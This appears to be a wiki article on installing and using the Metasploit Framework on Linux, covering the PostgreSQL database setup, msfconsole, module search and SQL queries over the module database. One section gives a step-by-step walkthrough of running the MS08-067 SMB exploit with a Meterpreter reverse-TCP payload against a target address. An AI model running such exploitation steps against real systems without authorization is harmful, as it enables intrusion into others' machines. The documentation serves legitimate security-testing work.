From the official site:
- Consider the MSF to be one of the single most useful auditing tools freely available to security professionals today. From a wide array of commercial grade exploits and an extensive exploit development environment, all the way to network information gathering tools and web vulnerability plugins. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs. This allows you to concentrate on your unique environment, and not have to reinvent the wheel.
Currently, Metasploit requires to setup and configure PostgreSQL on target system to work. This wiki will show how to get Metasploit working with a PostgreSQL database.
Install package metasploit. It is optional to follow the RVM setup instructions below. For latest development version, install metasploit-gitAUR instead.
Armitage is a GUI front end for Metasploit written in Java; it can be installed with the armitage-gitAUR package.
When running Armitage, #Setting up the database is not optional, and must be followed. It is also mandatory to use a
database.yml file is packaged with Armitage as
Msfconsole requires Ruby and some Ruby#RubyGems to run without error.
Follow the RVM#Installation and RVM#Using RVM articles to install and use Ruby version 3.0.5 (see Metasploit Git Repo) and set it to default.
Once complete, source the newly created RVM installation:
$ source ~/.rvm/scripts/rvm
and install all gems necessary to run Msfconsole using Ruby#Bundler:
$ gem install bundler
$ bundle install
Setting up the database
msfconsolewill be prefixed with
msf >in this article.
Metasploit can be used without a database, but cache operations like searching would be very slow. This section shows how to set up Metasploit with Postgresql database server.
Follow the PostgreSQL article to setup / start the service. Once the service is started and running, run :
msfdb init --connection-string=postgresql://postgres@localhost:5432/postgres
The database should now be properly initialized, and the connection should be automatically established when running
[*] Rebuilding the module cache in the background..., but it will actually only update the changes. If no changes are made to the database, it will take only half a second.
db_status to verify that database connection is properly established:
msf > db_status
[*] postgresql connected to msf
There are several interfaces available for Metasploit. This section will explain how to use
msfconsole, the interface that provides the most features available in MSF.
To start it, simply type
msfconsole. The prompt will change to
msf > to indicate it is waiting for commands.
$PATHare available too! (except for aliases)
Everything (scripts, files, programs etc) in Metasploit is a module. There are 6 types of modules:
auxiliary- Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysis
exploit- The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
payload- The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
post- Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
encoder- Programs for performing encryption
nop- NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.
Searching for exploits
To discover what operating system and software version a target runs, perform a port scan. With this information, use the
search command to search for available exploits.
To search for all exploits targeting Novell on the Linux platform:
msf > search platform:linux type:exploit name:Novell
To search for all exploits on the Linux platform containing the keyword Apache and filter the results with grep:
msf > grep RCE search platform:linux type:exploit Apache
To search for specific field, type its name, followed by column and the phrase. The following search fields are available:
|Search field||Matches||Possible values||DB table & column|
||Passive (client) or Active (server) exploits||
||Name and email of module Author||Any phrase|
||The module type||
||The path (Name) and the short description||Any phrase|
||The target hardware or software platform||
||The Bugtraq[dead link 2023-05-07 ⓘ], CVE, Exploit-DB, OSBDB ID or any||Exploit database entry ID, or a part of upstream report URL|
|(No field)||All of the above except
||Any phrase||All of the above|
See #Searching from the database and #Database search examples for more advanced search queries.
Using an exploit
After choosing an appropriate exploit, it is time to start hacking!
First, select an exploit using the
msf > use exploit/windows/smb/ms08_067_netapi
ms08_067_netapiis one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.
To view information about a module, use the
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
info without arguments will show info about currently selected module.
To view the selected exploit's options, run:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) ...
All the required fields must be provided before exploitation. Here, only the
RHOST variable must be specified. To assign a value to a variable use the
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
Now choose the payload:
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
Choosing a payload (actually, choosing modules in general) will add more options. Run
show options again:
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.56.102 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port
LHOST variable to the address of your computer, where the exploited computer will send connection requests to:
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
Now launch the attack!
msf exploit(ms08_067_netapi) > exploit
If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer.
Tips and tricks
Searching from the database
Since everything in Metasploit is stored in a database, it is easy to make powerful search queries without the need of the
search frontend command.
To start the database interface, run:
$ psql msf
The information about modules is stored in 8 tables:
||The "main" table, describes various details of each module|
||The action names of auxiliary modules|
||The target hardware architecture or software platform|
||Names and emails of module author|
||The target operating system. See also #Popularity of a platform by number of exploits|
||References to various online exploit databases and reports|
||The target program name and version of the exploit|
\d+ table_name. For example:
Almost all tables have 3 columns:
name, except for
module_details table which has 16 columns.
detail_id values are pointers to the rows of
To see the all the contents of a table, run:
SELECT * FROM table_name;
- module type
- disclosure date
Database search examples
module_details table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:
SELECT id, mtype, refname, disclosure_date, rank, stance, name FROM module_details;
Show some information about available modules, include platform information from
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;
Show all client (aggressive) exploits for Windows platform:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive';
Show all exploits for Windows platform with rank >= 500 disclosed after 2013:
SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND rank >= 500 AND disclosure_date >= TIMESTAMP '2013-1-1';
Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:
SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id WHERE module_platforms.name = 'windows' AND mtype = 'exploit' AND stance = 'aggressive' AND rank >= 500 order by target;
Popularity of a platform by number of exploits
To view the possible
platform values, and number of available exploits, run from
SELECT name, count(*) FROM module_platforms GROUP BY name ORDER BY count DESC;
To disable the banner, run
$ msfconsole --quiet
Preserve variable values between sessions
If you do not want the variables to reset when selecting another module and when rerunning
msfconsole then set it globally via
setg, for example:
msf > setg RHOST 192.168.56.102
Cannot click in VNC viewer
If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the
ViewOnly variable to false. To fix this problem, re-run the exploit with the variable set to
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
If you get an error like this:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
This happens because the file
robots.rb has incorrect permissions and can be read only by the root user (see the bug report):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
To fix this, simply change the permission to be world-readable:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect fails silently
If upon running
db_connect you see no output, but later getting a message like this:
[!] Database not connected or cache not built, using slow search
that probably means that the
postgresql service is not running.